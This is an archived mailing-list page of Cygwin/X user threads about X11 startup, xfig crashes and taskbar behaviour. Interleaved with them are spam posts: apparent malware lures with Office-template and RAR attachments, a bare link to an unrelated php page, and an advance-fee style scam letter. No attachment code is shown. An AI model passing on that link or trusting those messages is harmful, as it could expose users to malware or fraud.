mathog | 10 Jun 01:32 2016
Picon

new start method questions

Hi,

With an older version of Cygwin I had constructed a cut down 
distribution which included only the minimum pieces needed to run X11.  
It was about 40Mb, installed.

Since the X11 server update the start method changed.  The .bat file 
which starts things now has this as its active line:

C:\cygwinX\bin\run.exe --quote /usr/bin/bash.exe -l -c "cd; exec 
/usr/bin/startxwin"

Unfortunately this method creates a "/home/username" directory.  The 
startxwin part
isn't the culprit, just starting bash does it.  This is sufficient:

C:\cygwinX\bin\run.exe --quote /usr/bin/bash.exe -l -c "cd; ls"

Is there a way to run startxwin without allowing bash to make a new home 
directory? Leaving off the "-l" does not create the home directory - it 
also does not start the X11 server.

This distribution is intended to work with putty's ssh, not the ssh in 
cygwin.  To get putty to work these changes were made to startxwin:

defaultserverargs=""
to
defaultserverargs=" -listen tcp"

and
(Continue reading)

Picon

Fwd:Nunc Commodo Auctor Incorporated

See attached your agreement.

Nunc Commodo Auctor Incorporated
Attachment (t77ff96j.dotm): application/octet-stream, 131 KiB
--
Unsubscribe info:      http://cygwin.com/ml/#unsubscribe-simple
Problem reports:       http://cygwin.com/problems.html
Documentation:         http://x.cygwin.com/docs/
FAQ:                   http://x.cygwin.com/docs/faq/
Stefan Katletz | 22 May 15:27 2016
Picon

Re: xfig: Warning: Missing charsets in String to FontSet conversion

Hello,

I am now facing this (old) problem on a new installation under Windows
10. I tried 32 and 64 bit installations of cygwin, no difference: xfig
gives this warning, and crashes when I want to save/export the
drawing.

$ Warning: Missing charsets in String to FontSet conversion

xfig3.2.5c: SIGSEGV signal trapped
xfig: attempting to save figure
xfig: 1 object(s) saved in "/home/kat/SAVE.fig"

At least the work is not all lost, I used xfig under linux to do export...

Does anybody know what's going on? I am happy to supply logs if
somebody cares. I was reading the old mails, but couldn't find a
solution. I tried to install all font packages in cygwin I was
offered, but the warning appears even when starting with an empty
drawing.

thanks,
Stefan

--
Unsubscribe info:      http://cygwin.com/ml/#unsubscribe-simple
Problem reports:       http://cygwin.com/problems.html
Documentation:         http://x.cygwin.com/docs/
FAQ:                   http://x.cygwin.com/docs/faq/

(Continue reading)

Hatten William | 19 May 07:13 2016
Picon

Private Letter From Hatten William.+2

Good Day, 

I am Hatten William (SGT. MAJ.), I am reaching you for an important discussion that will be of help to you.
Kindly drop your direct cell phone number or reply for more discussion in details.

Thank you. 
Hatten William (SGT. MAJ.)

--
Unsubscribe info:      http://cygwin.com/ml/#unsubscribe-simple
Problem reports:       http://cygwin.com/problems.html
Documentation:         http://x.cygwin.com/docs/
FAQ:                   http://x.cygwin.com/docs/faq/

Denton Chang | 10 May 15:07 2016
Picon

Denton Chang

Please review your report attached.

Denton Chang
Attachment (834_129.s8qo3fc.dot): application/octet-stream, 307 KiB
--
Unsubscribe info:      http://cygwin.com/ml/#unsubscribe-simple
Problem reports:       http://cygwin.com/problems.html
Documentation:         http://x.cygwin.com/docs/
FAQ:                   http://x.cygwin.com/docs/faq/
Ahmed Al-Zamil | 4 May 14:00 2016

Emailing: scan10001


Your message is ready to be sent with the following file or link
attachments:

scan10001

Note: To protect against computer viruses, e-mail programs may prevent
sending or receiving certain types of file attachments.  Check your e-mail
security settings to determine how attachments are handled.
Attachment (scan10001.rar): application/octet-stream, 7033 bytes
--
Unsubscribe info:      http://cygwin.com/ml/#unsubscribe-simple
Problem reports:       http://cygwin.com/problems.html
Documentation:         http://x.cygwin.com/docs/
FAQ:                   http://x.cygwin.com/docs/faq/
ggvrsn | 3 Apr 17:34 2016
Picon
Picon

hi cygwin

Sup cygwin

http://marketingtervezes.com/dozen.php?send=13cyaqq7u00nr

ggvrsn

--
Unsubscribe info:      http://cygwin.com/ml/#unsubscribe-simple
Problem reports:       http://cygwin.com/problems.html
Documentation:         http://x.cygwin.com/docs/
FAQ:                   http://x.cygwin.com/docs/faq/

postmaster | 18 Feb 10:18 2016
Picon

Undeliverable Mail

Delivery Failed: jugal.c <at> iwlpl.in

The mail server for iwlpl.in does not accept E-mail with attachments that contain the CMD extension.

Original message follows:

Return-Path: <cygwin-xfree <at> cygwin.com>
Received: from cygwin.com (UnknownHost [210.56.105.64]) by mail.bitscape.com with SMTP;
   Thu, 18 Feb 2016 01:17:56 -0800
From: cygwin-xfree <at> cygwin.com
To: jugal.c <at> iwlpl.in
Subject: Returned mail: Data format error
Date: Thu, 18 Feb 2016 14:47:03 +0530
MIME-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0008_F85E807D.9F27FC7F"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000

--
Unsubscribe info:      http://cygwin.com/ml/#unsubscribe-simple
Problem reports:       http://cygwin.com/problems.html
Documentation:         http://x.cygwin.com/docs/
FAQ:                   http://x.cygwin.com/docs/faq/

John J Ottusch | 10 Dec 01:03 2015
Picon

Persistent CYGWIN/X server taskbar button with urxvt in CYGWIN-64, not rxvt in CYGWIN-32. Why?

Thanks for the tip.

First of all, using 'strace' I determined that testing is not advisable 
with the 'run.exe' executable named anything other than just 'run.exe'. 
Renaming the executable to 'runX.exe' ends up being interpreted as 'run X' 
and things go wrong from there.

The good news is that the version of 'run' Jon Turney provided does indeed 
withhold taskbar display of the CMD window from which urxvtermX.bat is 
run.

The bad news is that I have to execute the target 
'C:\win64app\cygwin\bin\run.exe C:\win64app\cygwin\urxvtermX.bat' twice 
(or sometimes more). The first time through starts up 'Cygwin/X 
Server:0.0'. The second and any subsequent times it creates a new 'urxvt' 
term.

jjo

--
Unsubscribe info:      http://cygwin.com/ml/#unsubscribe-simple
Problem reports:       http://cygwin.com/problems.html
Documentation:         http://x.cygwin.com/docs/
FAQ:                   http://x.cygwin.com/docs/faq/

John J Ottusch | 29 Nov 03:56 2015
Picon

Persistent CYGWIN/X server taskbar button with urxvt in CYGWIN-64, not rxvt in CYGWIN-32. Why?

I use CYGWIN a lot with 64-bit Windows 7 and have been transitioning 
from 32-bit CYGWIN to 64-bit CYGWIN primarily in hopes of avoiding 
repeated STATUS_ACCESS_VIOLATION errors.

If I could set up 64-bit CYGWIN (= C64) to behave exactly the same way 
as my 32-bit CYGWIN (= C32) set up I would, but the applications don't 
match up exactly and they don't behave exactly the same way.

One difference I notice is that opening a urxvt in C64 creates a 
separate button associated with the Cygwin/X server process in the 
taskbar, whereas opening an rxvt in C32 does not. (rxvt is not available 
as a C64 application, but I would expect urxvt to operate similarly). In 
both cases an icon for the Cygwin/X server process shows up in the 
notification area.

Both are started from a Windows shortcut:

C32 target: 
C:\win32app\cygwin\bin\run.exe C:\win32app\cygwin\rxvtermX.bat

C64 target: 
C:\win64app\cygwin\bin\run.exe C:\win64app\cygwin\urxvtermX.bat

The batch files that run are similar. Both start 'XWin' if it is not 
already running, then run 'rxvt/urxvt'.

Contents of 'rxvterm.bat' (C32):
=================================
 <at> echo off
C:
(Continue reading)

paul | 16 Oct 07:41 2015
Picon

Xserver corresponds to display :1.0 instead of :0.0

I have a very simple ~/.startxwinrc:

   xrdb -load $HOME/.Xresources
   xterm -display :0.0 # xterm &
   exec sleep infinity

Recently, I found that the xterm wasn't launching.  I googled, read
some cygwin threads about X authorities, but have to admit, I have a
lot to learn about X windows.  Anyway, since I could open an xterm by
right clicking on the Cygwin/Xserver:1.0 app in the notification area
of Windows 7, I sneakily (OK, it wasn't the craftiest thing in the
world) echo'd $DISPLAY.  Lo, it was 1.0, and the following works fine:

   xterm -display :1.0 &

Yes, I know it says 1.0 in the tip for the Cygwin/Xserver:1.0 app, but
I didn't actually look at that detail until now, as I'm posting.

A google for the following doesn't turn up anything:

   cygwin xterm "-display :0.0" "display :1.0"

I'm wondering if this was a planned change in how X-windows works or
if something is awry with my setup, causing a server with display :0.0
to fail, and making go to :1.0.  I did a browse of the cygin announce
list on gmane (since the X-windows announce list is now obsolete), but
no joy.  And I would have expected anything to show up in my google
search.

Can anyone point me to the description of this change?  If it is not a
(Continue reading)


Gmane